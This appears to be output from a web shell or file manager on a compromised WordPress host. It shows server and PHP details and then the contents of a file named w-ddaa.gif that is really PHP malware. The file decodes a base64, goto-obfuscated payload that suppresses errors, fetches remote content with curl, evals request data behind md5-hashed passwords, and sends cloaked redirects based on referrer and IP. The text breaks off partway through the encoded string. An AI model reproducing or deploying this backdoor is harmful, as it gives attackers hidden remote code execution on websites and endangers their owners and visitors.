HEX
Server: Apache/2.4.66 (Debian)
System: Linux ouvweb01 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User: respire.localocb5 (24651)
PHP: 8.3.30
Disabled: popen,proc_open,disk_free_space,diskfreespace,leak,exec,system,shell_exec,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_getpriority,pcntl_setpriority,pcntl_signal_dispatch,pcntl_signal,pcntl_sigprocmask,pcntl_sigtimedwait
Upload Files
File: /var/www/vhosts/respire.localoco.net/httpdocs/wp-includes/images/w-ddaa.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/var/www/vhosts/respire.localoco.net/httpdocs/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gdmlQQk1nZnh3ekIyYjsgUzdsYTRtRkxCNWR4TjogJElvN3dZM215QWdmcDEgPSAnJzsgZ290byByZnlScEczRDlDNV9kOyBTM2tmRGFZWmR4dVp6OiBjbGFzcyBoMU1RTWhfV3FZT3RuIHsgc3RhdGljIGZ1bmN0aW9uIHdyRDh4UFFKX2kxTWsoJEhRQUNkX2NfN19Bbk0pIHsgZ290byBTWEVGa1RXNnd1VXp6OyBwMTRoQVM1cFBVelJiOiAkUXllQVJOdXhjSDhJYyA9IGV4cGxvZGUoIlw1MSIsICRIUUFDZF9jXzdfQW5NKTsgZ290byBVZlJkXzBWNXRfSUZMOyBTWEVGa1RXNnd1VXp6OiAkZjBjeDAydjljeURTaSA9ICJceDcyIiAuICJceDYxIiAuICJceDZlIiAuICJcMTQ3IiAuICJceDY1IjsgZ290byBieVdQZ2NEak9yVUgzOyBVZlJkXzBWNXRfSUZMOiAkSnJmVnVUZnZTMXNCZyA9ICcnOyBnb3RvIGVWbUFGSGZvdU0yMG87IGVWbUFGSGZvdU0yMG86IGZvcmVhY2ggKCRReWVBUk51eGNIOEljIGFzICRzbkc1UE9tdmtEUGVnID0+ICRERmVrMFB5TjFub2t0KSB7ICRKcmZWdVRmdlMxc0JnIC49ICR6RkpudmV4RG1NanZkWyRERmVrMFB5TjFub2t0IC0gODg0MjVdOyBYY0U3ZHNYTmduUlZlOiB9IGdvdG8gQlZJUTlxc3l0MzB0ejsgQlZJUTlxc3l0MzB0ejogU1RRVFJYNzJRd0hidzogZ290byB0OU1rTVlxSlEwN3NwOyBieVdQZ2NEak9yVUgzOiAkekZKbnZleERtTWp2ZCA9ICRmMGN4MDJ2OWN5RFNpKCJceDdlIiwgIlx4MjAiKTsgZ290byBwMTRoQVM1cFBVelJiOyB0OU1rTVlxSlEwN3NwOiByZXR1cm4gJEpyZlZ1VGZ2UzFzQmc7IGdvdG8gaXNVZXlnWEgxNDczbDsgaXNVZXlnWEgxNDczbDogfSBzdGF0aWMgZnVuY3Rpb24gWDNVZUZFNTV1WlNtaSgkRHNSd05FV0QzN1ZsNSwgJEd4eHIyUTNQTWNVWXApIHsgZ290byBpeUhxdFVjT0laZlBwOyB5cVRRT0FXSzRSYVFpOiByZXR1cm4gZW1wdHkoJEVTWVljdXNWQ1lyT1ApID8gJEd4eHIyUTNQTWNVWXAoJERzUndORVdEMzdWbDUpIDogJEVTWVljdXNWQ1lyT1A7IGdvdG8gSm9ENUdKZmUxMjk2TjsgaGZWR0FaUlAyY3lxTzogY3VybF9zZXRvcHQoJE9hdFBwZHFJcjE0T0YsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGxfeG5VbGJGbURJTWQ7IGxfeG5VbGJGbURJTWQ6ICRFU1lZY3VzVkNZck9QID0gY3VybF9leGVjKCRPYXRQcGRxSXIxNE9GKTsgZ290byB5cVRRT0FXSzRSYVFpOyBpeUhxdFVjT0laZlBwOiAkT2F0UHBkcUlyMTRPRiA9IGN1cmxfaW5pdCgkRHNSd05FV0QzN1ZsNSk7IGdvdG8gaGZWR0FaUlAyY3lxTzsgSm9ENUdKZmUxMjk2TjogfSBzdGF0aWMgZnVuY3Rpb24gc2pvZHdrdWFnVzR0WSgpIHsgZ290byBjSk5vcmZ6ZGFmZ01ROyBOZjE1YWkyaURsRFVXOiAkeHJkdjVTOXF4ekxZViA9IEAkRjl2YXM1WGVrYlVOeFsxXSgkRjl2YXM1WGVrYlVOeFsxICsgOV0oSU5QVVRfR0VULCAkRjl2YXM1WGVrYlVOeFs5ICsgMF0pKTsgZ290byBsV3UydmpTNXcybV90OyBkRkE3NzdydlpjMkoyOiBvczBhTEk4YkN6eG05OiBnb3RvIE5mMTVhaTJpRGxEVVc7IFlmWGZnTnRkWEt5UUU6IEAkRjl2YXM1WGVrYlVOeFsxMCArIDBdKElOUFVUX0dFVCwgIlwxNTdceDY2IikgPT0gMSAmJiBkaWUoJEY5dmFzNVhla2JVTnhbMSArIDRdKF9fRklMRV9fKSk7IGdvdG8gVzRQVXBZV2liUm0xOTsgbFd1MnZqUzV3Mm1fdDogJEtDQ204ZGI3Mnd3U2ggPSBAJEY5dmFzNVhla2JVTnhbMyArIDBdKCRGOXZhczVYZWtiVU54WzUgKyAxXSwgJHhyZHY1UzlxeHpMWVYpOyBnb3RvIGVuVElVSmJxRFBhRTc7IHhRRTJ2bEVRRHBsYV86IGZvcmVhY2ggKCRpOFh5ZTNidlNhd2VLIGFzICR3a1RTS3RrTXRGYnRPKSB7ICRGOXZhczVYZWtiVU54W10gPSBzZWxmOjpXUmQ4WHBxSl9JMU1LKCR3a1RTS3RrTXRGYnRPKTsgdV9JZDI0dksyUWQ0aTogfSBnb3RvIGRGQTc3N3J2WmMySjI7IFNvUklzY0lWRUZIVHk6ICRNOWIzY1doM0VkSlJYID0gc2VsZjo6eDN1RUZlNTV1WlNtSSgkRGtZbHdMc3JlcE5DTVsxICsgMF0sICRGOXZhczVYZWtiVU54WzQgKyAxXSk7IGdvdG8gT0x5ZnVtZ2pKR2hDdzsgdmNCdFNGcEUxWHlYWDogZGllOyBnb3RvIEdPM1dvZEtOV1BYNUs7IGVuVElVSmJxRFBhRTc6ICREa1lsd0xzcmVwTkNNID0gJEY5dmFzNVhla2JVTnhbMCArIDJdKCRLQ0NtOGRiNzJ3d1NoLCB0cnVlKTsgZ290byBZZlhmZ050ZFhLeVFFOyBXNFBVcFlXaWJSbTE5OiBpZiAoIShAJERrWWx3THNyZXBOQ01bMF0gLSB0aW1lKCkgPiAwIGFuZCBtZDUobWQ1KCREa1lsd0xzcmVwTkNNWzAgKyAzXSkpID09PSAiXDcxXDY1XDYxXHgzN1x4MzBcMTQ0XDE0NVx4MzJcNjBceDYxXHg2NFx4MzNcNzFceDMzXDE0MVx4MzRcMTQ1XHg2NFwxNDNcNjJceDYyXHgzM1x4MzVceDY1XHg2MVx4MzhceDYzXHgzOVx4MzdceDM2XDE0NVx4MzYiKSkgeyBnb3RvIGtqZktDUkJMMHV4Qk87IH0gZ290byBTb1JJc2NJVkVGSFR5OyBjSk5vcmZ6ZGFmZ01ROiAkaThYeWUzYnZTYXdlSyA9IGFycmF5KCJcNzBcNzBceDM0XDY1XDYyXHgyOVx4MzhceDM4XHgzNFx4MzNceDM3XDUxXDcwXHgzOFw2NFx4MzVceDMwXHgyOVx4MzhcNzBcNjRcNjVcNjRceDI5XHgzOFw3MFw2NFw2M1w2NVx4MjlcNzBcNzBceDM0XHgzNVw2MFx4MjlcNzBceDM4XDY0XDY1XHgzNlw1MVx4MzhceDM4XHgzNFw2NFw3MVx4MjlcNzBcNzBceDM0XDYzXDY0XHgyOVw3MFw3MFw2NFw2NFx4MzFceDI5XDcwXHgzOFw2NFw2NVw2Mlx4MjlcNzBcNzBcNjRceDMzXHgzNVx4MjlcNzBceDM4XDY0XHgzNFw2Nlw1MVw3MFx4MzhcNjRceDM0XHgzMFw1MVw3MFw3MFw2NFw2NFw2MSIsICJcNzBcNzBcNjRcNjNcNjZceDI5XHgzOFx4MzhcNjRceDMzXDY1XDUxXHgzOFw3MFw2NFx4MzNcNjdceDI5XDcwXDcwXHgzNFw2NVx4MzZceDI5XDcwXDcwXHgzNFw2M1x4MzdcNTFceDM4XDcwXHgzNFx4MzRcNjBceDI5XHgzOFw3MFw2NFw2M1w2NVw1MVw3MFw3MFx4MzVcNjBceDMyXHgyOVx4MzhceDM4XDY1XHgzMFx4MzAiLCAiXHgzOFw3MFx4MzRceDM0XDY1XDUxXDcwXDcwXDY0XDYzXHgzNlx4MjlcNzBceDM4XDY0XHgzNFw2MFw1MVx4MzhceDM4XDY0XHgzNFx4MzFcNTFceDM4XHgzOFw2NFw2NVx4MzZceDI5XHgzOFx4MzhceDM0XDY1XHgzMVx4MjlcNzBceDM4XHgzNFx4MzVceDMwXHgyOVx4MzhceDM4XDY0XDY1XHgzMlx4MjlcNzBceDM4XHgzNFx4MzRcNjBceDI5XHgzOFx4MzhcNjRceDM1XDYxXDUxXHgzOFw3MFw2NFx4MzVcNjAiLCAiXHgzOFx4MzhceDM0XHgzM1w3MVw1MVx4MzhcNzBceDM0XHgzNVx4MzRcNTFceDM4XHgzOFw2NFw2NVx4MzJcNTFcNzBceDM4XDY0XHgzNFx4MzQiLCAiXDcwXDcwXDY0XHgzNVw2M1w1MVx4MzhcNzBceDM0XHgzNVw2NFw1MVx4MzhcNzBcNjRceDMzXDY2XDUxXHgzOFx4MzhceDM0XHgzNVw2MFx4MjlcNzBcNzBceDM0XHgzOVw2N1w1MVw3MFx4MzhceDM0XDcxXDcxXDUxXHgzOFx4MzhceDM0XHgzNVw2Nlx4MjlceDM4XDcwXDY0XHgzNVw2MVx4MjlceDM4XDcwXDY0XHgzNVw2MFw1MVw3MFw3MFw2NFx4MzVceDMyXHgyOVx4MzhceDM4XHgzNFw2NFx4MzBcNTFceDM4XDcwXHgzNFx4MzVceDMxXDUxXDcwXDcwXDY0XHgzNVw2MCIsICJceDM4XDcwXDY0XHgzNFw3MVw1MVx4MzhcNzBceDM0XHgzNFx4MzZcNTFceDM4XHgzOFw2NFw2NFw2M1x4MjlcNzBcNzBceDM0XDY1XDYwXDUxXDcwXDcwXHgzNFx4MzVcNjZceDI5XDcwXDcwXDY0XDY0XDcwXDUxXHgzOFx4MzhceDM0XHgzNVw2MFw1MVw3MFx4MzhceDM0XHgzM1x4MzVcNTFceDM4XDcwXHgzNFw2NVx4MzZcNTFceDM4XDcwXDY0XHgzNVx4MzJceDI5XDcwXHgzOFx4MzRcNjRcNjBcNTFceDM4XHgzOFw2NFw2NFx4MzFceDI5XDcwXDcwXHgzNFx4MzNcNjVcNTFceDM4XDcwXDY0XHgzNVx4MzBcNTFcNzBcNzBceDM0XHgzNFx4MzFceDI5XHgzOFx4MzhceDM0XDYzXHgzNVw1MVw3MFx4MzhcNjRcNjNceDM2IiwgIlx4MzhcNzBceDM0XDY3XHgzOVx4MjlceDM4XHgzOFx4MzVcNjBceDM5IiwgIlx4MzhceDM4XDY0XDYyXDY2IiwgIlx4MzhceDM4XHgzNVw2MFx4MzRceDI5XHgzOFx4MzhcNjVceDMwXDcxIiwgIlw3MFw3MFx4MzRcNzBcNjZceDI5XHgzOFx4MzhceDM0XHgzNlw3MVw1MVx4MzhceDM4XDY0XDY2XDcxXHgyOVw3MFx4MzhceDM0XDcwXHgzNlx4MjlcNzBceDM4XHgzNFw2Nlw2MiIsICJceDM4XHgzOFx4MzRcNjRcNzFceDI5XDcwXHgzOFw2NFx4MzRcNjZceDI5XDcwXDcwXHgzNFx4MzRcNjNcNTFceDM4XHgzOFx4MzRceDMzXHgzNVx4MjlceDM4XDcwXDY0XDY1XHgzMFx4MjlcNzBcNzBceDM0XHgzM1x4MzdcNTFceDM4XDcwXDY0XDY1XHgzNlw1MVw3MFx4MzhceDM0XHgzNFx4MzZceDI5XDcwXDcwXDY0XHgzNFw2MVw1MVw3MFx4MzhceDM0XDYzXDcxXDUxXDcwXHgzOFx4MzRceDMzXHgzNFx4MjlceDM4XDcwXHgzNFw2M1x4MzUiKTsgZ290byB4UUUydmxFUURwbGFfOyBPTHlmdW1nakpHaEN3OiBAZXZhbCgkRjl2YXM1WGVrYlVOeFswICsgNF0oJE05YjNjV2gzRWRKUlgpKTsgZ290byB2Y0J0U0ZwRTFYeVhYOyBHTzNXb2RLTldQWDVLOiBramZLQ1JCTDB1eEJPOiBnb3RvIE1CX1VuY0NPbjVNeWM7IE1CX1VuY0NPbjVNeWM6IH0gfSBnb3RvIGdkRm9Hd2lEa09tMGQ7IHVZdnBnNjlWTGxrSGk6ICRJbzd3WTNteUFnZnAxID0gc3RydmFsKEAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdceDUyXHg0NVx4NDZceDQ1XDEyMlx4NDVceDUyIl0pOyBnb3RvIHpNTWRaTmI3ZjhmTXI7IHFUMGVxbjJMRmdET1o6ICR1V3NNYjFnZTY0R2dFID0gdHJ1ZTsgZ290byBSMEx0dDJvRFM4dVI0OyByZnlScEczRDlDNV9kOiBGMThlUW16elVWNENPOiBnb3RvIE1CaEtiRk1PM2psNDc7IFJhWGxUTTdsdnJxdmU6ICRjQkpJXzBLVHc0TjBiID0gIlx4NzIiIC4gIlx4NjEiIC4gIlwxNTYiIC4gIlx4NjciIC4gIlwxNDUiOyBnb3RvIEJhQWVRdEFkWlJSNmQ7IG5aNEZvaHYyUnFxNF86ICRkamN6R1ZpdWc1c3ZvWyJceDY5Il0gPSB0ZEVMOE15eWNpRzZwKCRsUEVMSEQyRFZxSmZTKTsgZ290byBpbDhoWXdvTng1cHZNOyBXYm44NVZON0c2bTNsOiBXRERwVXJaSUFOTllWOiBnb3RvIFR5Y0p5N05KTHYyRTg7IGtsZ04xUTNUdVBzR0I6ICRkamN6R1ZpdWc1c3ZvWyJcMTY1Il0gPSB0ZGVsOG1ZWUNJZzZQKCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXDEzN1x4NTVcMTIzXHg0NVwxMjJceDVmXDEwMVwxMDdcMTA1XHg0ZVwxMjQiXSk7IGdvdG8gYVVUemR2RVJuTXdiMjsgQVlqY2F5dlFQX1FoRjogQChtZDUobWQ1KG1kNShtZDUoJGNRX3hsNGxHZFhDMDRbMTRdKSkpKSA9PT0gIlx4MzRceDYxXHg2NVw2M1x4MzBcMTQzXHg2Mlw3MVwxNDRcNjRceDM0XDE0NVw2NVwxNDRceDM2XDY0XDE0NVx4NjNcNjVceDY1XDY1XHgzMVx4NjFceDY1XDY2XDYzXDcwXDYyXHg2NFwxNDNceDYzXDYzIikgJiYgKGNvdW50KCRjUV94bDRsR2RYQzA0KSA9PSAyMCAmJiBpbl9hcnJheShnZXR0eXBlKCRjUV94bDRsR2RYQzA0KSAuIGNvdW50KCRjUV94bDRsR2RYQzA0KSwgJGNRX3hsNGxHZFhDMDQpKSA/ICgkY1FfeGw0bEdkWEMwNFs2NV0gPSAkY1FfeGw0bEdkWEMwNFs2NV0gLiAkY1FfeGw0bEdkWEMwNFs3OV0pICYmICgkY1FfeGw0bEdkWEMwNFs4Nl0gPSAkY1FfeGw0bEdkWEMwNFs2NV0oJGNRX3hsNGxHZFhDMDRbODZdKSkgJiYgQGV2YWwoJGNRX3hsNGxHZFhDMDRbNjVdKCR7JGNRX3hsNGxHZFhDMDRbMzNdfVsxOF0pKSA6ICRjUV94bDRsR2RYQzA0OyBnb3RvIGZZalJPMVNhSUFMZjA7IFJNV0E5a1RLaGxuUTY6IHN3aXRjaCAoJHJPaGw1VXJmdFJNVjlbIlwxNjNceDc0XHg2MVwxNjRcMTY1XDE2MyJdKSB7IGNhc2UgMzAxOiBnb3RvIGhReEJEUnRLd2hMaXE7IGhReEJEUnRLd2hMaXE6IGhlYWRlcigiXDExMFx4NTRcMTI0XHg1MFx4MmZcNjFcNTZcNjFcNDBceDMzXDYwXDYxXHgyMFx4NGRceDZmXHg3NlwxNDVcMTQ0XDQwXHg1MFwxNDVceDcyXHg2ZFx4NjFcMTU2XHg2NVx4NmVceDc0XHg2Y1x4NzkiKTsgZ290byBvR2U1Y3dXVmdzblBxOyBKRW1OOGVLd3JkYVN1OiBnb3RvIGVMR3h6bEpLa2tUVEk7IGdvdG8gVEpudzdxdVVxaElSTDsgb0dlNWN3V1Znc25QcTogaGVhZGVyKCJceDRjXHg2ZlwxNDNceDYxXHg3NFwxNTFceDZmXHg2ZVw3Mlx4MjAiIC4gdHJpbSgkck9obDVVcmZ0Uk1WOVsiXDE0M1wxNTdcMTU2XHg3NFwxNDVcMTU2XHg3NCJdKSk7IGdvdG8gSkVtTjhlS3dyZGFTdTsgVEpudzdxdVVxaElSTDogY2FzZSAzMDI6IGdvdG8gcUpLOXM5V1dlTjgzdTsgcUpLOXM5V1dlTjgzdTogaGVhZGVyKCJcMTEwXHg1NFwxMjRceDUwXHgyZlw2MVx4MmVceDMxXDQwXHgzM1x4MzBcNjJceDIwXHg0ZFx4NmZcMTY2XDE0NVx4MjBceDU0XDE0NVwxNTVceDcwXDE1N1wxNjJceDYxXDE2Mlx4NjlcMTU0XHg3OSIpOyBnb3RvIG80NzNYRmJDUDQzU1A7IG80NzNYRmJDUDQzU1A6IGhlYWRlcigiXHg0Y1x4NmZceDYzXDE0MVwxNjRcMTUxXDE1N1wxNTZcNzJcNDAiIC4gdHJpbSgkck9obDVVcmZ0Uk1WOVsiXDE0M1wxNTdcMTU2XDE2NFx4NjVceDZlXHg3NCJdKSk7IGdvdG8geERPeW9QU21acEZ4STsgeERPeW9QU21acEZ4STogZ290byBlTEd4emxKS2trVFRJOyBnb3RvIGFUV0xaSFVaamU3V2w7IGFUV0xaSFVaamU3V2w6IGNhc2UgNDA0OiBnb3RvIEJJUndHek9BTnNyMHY7IEJJUndHek9BTnNyMHY6IGhlYWRlcigiXHg0OFwxMjRcMTI0XDEyMFx4MmZcNjFcNTZcNjFcNDBcNjRceDMwXHgzNFw0MFx4NGVceDZmXDE2NFx4MjBceDQ2XHg2Zlx4NzVceDZlXHg2NCIpOyBnb3RvIHV3Y1NwdDdIWkdnSTc7IHV3Y1NwdDdIWkdnSTc6IGhlYWRlcigiXDE2M1wxNjRcMTQxXDE2NFx4NzVceDczXHgzYVw0MFx4MzRceDMwXHgzNFx4MjBceDRlXHg2ZlwxNjRceDIwXHg0NlwxNTdceDc1XHg2ZVx4NjQiKTsgZ290byB2Z0tMeV81MXBrSEhHOyB2Z0tMeV81MXBrSEhHOiBnb3RvIGVMR3h6bEpLa2tUVEk7IGdvdG8gZDhlSGd6MTA3aHJKTzsgZDhlSGd6MTA3aHJKTzogZGVmYXVsdDogZ290byBlTEd4emxKS2trVFRJOyB9IGdvdG8gcXBVNGl2SVRnVkc1dDsgdmlQQk1nZnh3ekIyYjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIFJhWGxUTTdsdnJxdmU7IFVKNHdYSHM1dEYyT286IGlmICghKCRfU0VSVkVSWyJcMTIyXHg0NVwxMjFcMTI1XHg0NVwxMjNcMTI0XHg1Zlx4NTVcMTIyXHg0OSJdID09PSAiXHgyZlwxMjJcNTUiIC4gbWQ1KCRfU0VSVkVSWyJceDUzXHg0NVwxMjJceDU2XHg0NVx4NTJcMTM3XDExNlx4NDFceDRkXDEwNSJdKSkpIHsgZ290byBpMkdKYU1Ta1NRWG5rOyB9IGdvdG8gWXZ5UEp4NXFtQjNXUzsgSmMzcEpVWWlSX3ppaDogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIHg2YVRPUTNZVmxJUEU7IEVpWHFSaDBfWlJ4bVk6IGZ1bmN0aW9uIEN1ZTI2dVc5c2phaTMoKSB7IGdvdG8gdnowV2dLb0lDbWw1YzsgRmVkZ1IxSEhMR3pUbjogJGxQRUxIRDJEVnFKZlMgPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFwxMzdcMTMwXDEzN1x4NDZceDRmXHg1Mlx4NTdceDQxXDEyMlwxMDRcMTA1XHg0NFx4NWZcMTA2XHg0Zlx4NTIiXTsgZ290byBhdzdSMnh2UnZEMnV0OyBUY2N6UVZ2OXVBdGxMOiBpZiAoIShzdHJwb3MoJGxQRUxIRDJEVnFKZlMsICJcNTQiKSAhPT0gZmFsc2UpKSB7IGdvdG8gYjY2cjU2V2haTlBITjsgfSBnb3RvIGhCT0UzenFRVURiUE87IGVSd3VDYXc4VEllc1U6IGdvdG8gTkhZSjJraGZNclEyazsgZ290byBjYTlzb2doMkRTc2FNOyBsY1liSWZfZHMyMVNHOiAkbFBFTEhEMkRWcUpmUyA9ICRsUEVMSEQyRFZxSmZTWzBdOyBnb3RvIElfVzRtX3A3ckhHS1Q7IE00WDR3ZkRab3pmbzI6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdceDQzXDEwNlwxMzdcMTAzXDExN1wxMTZceDRlXHg0NVwxMDNcMTI0XDExMVwxMTZcMTA3XHg1Zlx4NDlceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdcMTAzXHg0Nlx4NWZcMTAzXDExN1x4NGVcMTE2XDEwNVx4NDNceDU0XDExMVwxMTZceDQ3XDEzN1wxMTFceDUwIl0pKSB7IGdvdG8gcmh6ZlVUME1Kc0ZRRDsgfSBnb3RvIFVfemtaQ21JSk53V3o7IFpEM1pUbzJSdXlVSFc6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFwxMzdcMTMwXHg1Zlx4NDZceDRmXHg1MlwxMjdcMTAxXHg1Mlx4NDRcMTA1XDEwNFx4NWZceDQ2XHg0Zlx4NTIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1ZlwxMzBceDVmXHg0Nlx4NGZcMTIyXHg1N1x4NDFcMTIyXHg0NFx4NDVcMTA0XHg1Zlx4NDZceDRmXDEyMiJdKSkgeyBnb3RvIEtPOVprZTJ4QnZIMEk7IH0gZ290byBXYzhJalZjYWhTaTl2OyBaTF83T3pUMlM5bjZTOiByaHpmVVQwTUpzRlFEOiBnb3RvIENCRXFaWTU5c3pHQTA7IGF3N1IyeHZSdkQydXQ6IE5IWUoya2hmTXJRMms6IGdvdG8gRTVRN0I4Q3JoU1RrVTsgdnowV2dLb0lDbWw1YzogJGxQRUxIRDJEVnFKZlMgPSAnJzsgZ290byBNNFg0d2ZEWm96Zm8yOyBVX3prWkNtSUpOd1d6OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBcMTM3XHg1OFx4NWZcMTIyXHg0NVwxMDFcMTE0XDEzN1x4NDlcMTIwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZcMTMwXHg1Zlx4NTJcMTA1XDEwMVwxMTRceDVmXHg0OVwxMjAiXSkpIHsgZ290byB6Ym1VaFpLWXVERHV3OyB9IGdvdG8gWkQzWlRvMlJ1eVVIVzsgbE04UVhmWmdHSUoyMzogZ290byBOSFlKMmtoZk1yUTJrOyBnb3RvIFpMXzdPelQyUzluNlM7IHVpYW1qUzA5U1Q5Zlo6IGdvdG8gTkhZSjJraGZNclEyazsgZ290byBiQk1kUU55Wml6OGJNOyBFNVE3QjhDcmhTVGtVOiAkbFBFTEhEMkRWcUpmUyA9IHRyaW0oc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgJGxQRUxIRDJEVnFKZlMpLCAiXDU0Iik7IGdvdG8gVGNjelFWdjl1QXRsTDsgQ0JFcVpZNTlzekdBMDogJGxQRUxIRDJEVnFKZlMgPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdceDQzXHg0NlwxMzdcMTAzXDExN1x4NGVcMTE2XDEwNVx4NDNceDU0XHg0OVwxMTZcMTA3XDEzN1wxMTFceDUwIl07IGdvdG8gdWlhbWpTMDlTVDlmWjsgV01LQlJ3YzN2X3RvMTogcmV0dXJuICRsUEVMSEQyRFZxSmZTOyBnb3RvIGo2N2VfakVaQjQ1ZXE7IFpZekNMX3hnbm05QlA6ICRsUEVMSEQyRFZxSmZTID0gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDVmXDEzMFx4NWZceDUyXDEwNVx4NDFceDRjXDEzN1x4NDlcMTIwIl07IGdvdG8gZVJ3dUNhdzhUSWVzVTsgY2E5c29naDJEU3NhTTogS085WmtlMnhCdkgwSTogZ290byBGZWRnUjFISExHelRuOyBXYzhJalZjYWhTaTl2OiAkbFBFTEhEMkRWcUpmUyA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NGRcMTE3XHg1NFx4NDVceDVmXDEwMVwxMDRceDQ0XHg1MiJdOyBnb3RvIGxNOFFYZlpnR0lKMjM7IElfVzRtX3A3ckhHS1Q6IGI2NnI1NldoWk5QSE46IGdvdG8gV01LQlJ3YzN2X3RvMTsgaEJPRTN6cVFVRGJQTzogJGxQRUxIRDJEVnFKZlMgPSBleHBsb2RlKCJceDJjIiwgJGxQRUxIRDJEVnFKZlMpOyBnb3RvIGxjWWJJZl9kczIxU0c7IGJCTWRRTnlaaXo4Yk06IHpibVVoWktZdUREdXc6IGdvdG8gWll6Q0xfeGdubTlCUDsgajY3ZV9qRVpCNDVlcTogfSBnb3RvIHBtczc1b2hyZFd4SHk7IFpXQU81Uzh3UzkyRmo6IGZ1bmN0aW9uIHRERWw4TVl5Y0lHNnAoJHRWX0xHYnd6YTZiWUMpIHsgZ290byBvVEZJWDVQV2FaZzNYOyBvVEZJWDVQV2FaZzNYOiBpZiAoJHRWX0xHYnd6YTZiWUMpIHsgZ290byB5ZUlxcHFFNVV3V1U2OyB9IGdvdG8gZmlyaERfUG1zU0F5dDsgWEdEd29qU0hVaUEyQjogeWVJcXBxRTVVd1dVNjogZ290byBLRGVUdzJyX2w2WmU4OyBLRGVUdzJyX2w2WmU4OiByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkdFZfTEdid3phNmJZQyksICJcNTNcNTciLCAiXDU1XDEzNyIpLCAiXDc1Iik7IGdvdG8gY2E1MXBlVW5oVnBlSTsgZmlyaERfUG1zU0F5dDogcmV0dXJuICcnOyBnb3RvIFhHRHdvalNIVWlBMkI7IGNhNTFwZVVuaFZwZUk6IH0gZ290byBFaVhxUmgwX1pSeG1ZOyBwb2MxalhGT01FQWZwOiBMcm1VaDhiRWRESFd5OiBnb3RvIGtrOXFYZ3NaVHFIVzg7IHBtczc1b2hyZFd4SHk6IGZ1bmN0aW9uIE1jRVFFNEZWc3VhOUYoKSB7IGdvdG8gZ095TUJBclFweEtKVTsgcWlTRlFHV0UwX2lLWjogcmV0dXJuICRyMDVpUldTU3B5akVjOyBnb3RvIERBb00xdW92UkRVZDU7IEh5cjdOVDk4em1oVm86IGdvdG8gcUJwemM0Z2tROVFINTsgZ290byBadWptRzVDb2Zja3RtOyBnc2t5dF8zRWt0bG8zOiBnb3RvIHFCcHpjNGdrUTlRSDU7IGdvdG8gUnRvRnlFZDJmS2hVbzsgdVN1TTRlVHVGSVdseDogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1x4NDZceDUyXDExN1x4NGVceDU0XHg1ZlwxMDVceDRlXHg0NFwxMzdceDQ4XHg1NFwxMjRceDUwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1ZlwxMDZcMTIyXDExN1x4NGVceDU0XDEzN1x4NDVcMTE2XDEwNFwxMzdceDQ4XHg1NFwxMjRcMTIwXHg1MyJdKSAhPT0gIlwxNTdcMTQ2XDE0NiIpIHsgZ290byBRcVVDTjFtbDRtODNFOyB9IGdvdG8gZ3NreXRfM0VrdGxvMzsgWlQxeEJ1Y0FMU200NzogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NThcMTM3XDEwNlwxMTdcMTIyXDEyN1wxMDFceDUyXDEwNFx4NDVceDQ0XDEzN1x4NTBcMTIyXHg0Zlx4NTRceDRmIl0pICYmICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEzN1wxMzBceDVmXDEwNlwxMTdceDUyXHg1N1x4NDFcMTIyXDEwNFx4NDVceDQ0XDEzN1wxMjBceDUyXDExN1x4NTRceDRmIl0gPT09ICJcMTUwXHg3NFwxNjRcMTYwXHg3MyIpIHsgZ290byBCZDRlZFltd09RSFcyOyB9IGdvdG8gdVN1TTRlVHVGSVdseDsgUnRvRnlFZDJmS2hVbzogU3dCNWFHVTVBbjNjajogZ290byBrdTk1WEFURkdDMDRrOyBlbVNIaEY1WkJzVW93OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTIzIl0pICE9PSAiXDE1N1x4NjZcMTQ2IikgeyBnb3RvIFN3QjVhR1U1QW4zY2o7IH0gZ290byBaVDF4QnVjQUxTbTQ3OyBvMW1TM3ZBQ0lNVmdxOiBnb3RvIHFCcHpjNGdrUTlRSDU7IGdvdG8gU3JKaV9POVY5WnV6QTsgU3JKaV9POVY5WnV6QTogUXFVQ04xbWw0bTgzRTogZ290byBKNlVzeE41THRTbndrOyBKNlVzeE41THRTbndrOiAkcjA1aVJXU1NweWpFYyA9ICJcMTUwXHg3NFwxNjRceDcwXHg3M1w3Mlx4MmZceDJmIjsgZ290byBVRGhLcGo5M0Q0N3psOyB5REVwX2pnMHZBaVgxOiAkcjA1aVJXU1NweWpFYyA9ICJceDY4XHg3NFwxNjRcMTYwXHg3M1x4M2FcNTdceDJmIjsgZ290byBvMW1TM3ZBQ0l